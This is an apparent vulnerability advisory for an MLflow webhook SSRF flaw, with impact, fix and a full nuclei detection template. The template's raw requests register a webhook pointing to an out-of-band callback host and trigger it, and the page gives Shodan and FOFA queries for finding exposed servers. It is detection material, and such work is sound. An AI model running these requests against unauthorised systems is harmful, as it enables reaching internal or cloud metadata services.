MLflow Webhook SSRF - Unauthenticated Full-Read via Redirect Bypass

Exploited in the wild. Listed by CISA on 2026-08-19; known to be used by ransomware.

criticalseverity

9.3CVSS score

10%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

MLflow > 3.15.0 contains an information disclosure vulnerability caused by improper validation of webhook URLs allowing attackers to reach internal or cloud metadata services and obtain response details, exploit requires unauthenticated access to the webhook test endpoint.

Impact

Attackers can access internal or cloud metadata services and retrieve response status and body, potentially exposing sensitive information.

Fix

Upgrade MLflow to a version containing PR #24258 which adds SSRFProtectedHTTPAdapter for connection-time IP validation covering redirect targets and DNS rebinding.

How to confirm it

Send: POST /api/2.0/mlflow/webhooks ; POST /api/2.0/mlflow/webhooks/{{webhook_id}}/test ; DELETE /api/2.0/mlflow/webhooks/{{webhook_id}}
Positive when: contains in body_1 "webhook_id" and "ACTIVE" AND contains in interactsh_protocol "http"

Run it with nuclei: nuclei -id CVE-2026-64849 -u <target>

The full check

id: CVE-2026-64849

info:
  name: MLflow Webhook SSRF - Unauthenticated Full-Read via Redirect Bypass
  author: DhiyaneshDk
  severity: critical
  description: |
    MLflow > 3.15.0 contains an information disclosure vulnerability caused by improper validation of webhook URLs allowing attackers to reach internal or cloud metadata services and obtain response details, exploit requires unauthenticated access to the webhook test endpoint.
  impact: |
    Attackers can access internal or cloud metadata services and retrieve response status and body, potentially exposing sensitive information.
  remediation: |
    Upgrade MLflow to a version containing PR #24258 which adds SSRFProtectedHTTPAdapter for connection-time IP validation covering redirect targets and DNS rebinding.
  reference:
    - https://github.com/mlflow/mlflow/security/advisories/GHSA-7gwp-5pfp-969j
    - https://github.com/mlflow/mlflow/pull/24258
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
    cvss-score: 9.3
    cve-id: CVE-2026-64849
    epss-score: 0.10017
    epss-percentile: 0.9565
    cwe-id: CWE-918
  metadata:
    max-request: 3
    verified: true
    shodan-query: http.title:"MLflow"
    fofa-query: title="MLflow"
  tags: cve,cve2026,mlflow,ssrf,oast,webhook,oss,vkev,kev

variables:
  random: "{{rand_text_alpha(8)}}"

http:
  - raw:
      - |
        POST /api/2.0/mlflow/webhooks HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"{{random}}","url":"https://{{interactsh-url}}","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}

      - |
        POST /api/2.0/mlflow/webhooks/{{webhook_id}}/test HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"webhook_id":"{{webhook_id}}","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}}

      - |
        DELETE /api/2.0/mlflow/webhooks/{{webhook_id}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - "webhook_id"
          - "ACTIVE"
        condition: and

      - type: word
        part: interactsh_protocol
        words:
          - "http"

    extractors:
      - type: regex
        name: webhook_id
        part: body
        internal: true
        regex:
          - '"webhook_id":\s*"([^"]+)"'
        group: 1

References

Use this check only on systems you are authorised to test. Where the data comes from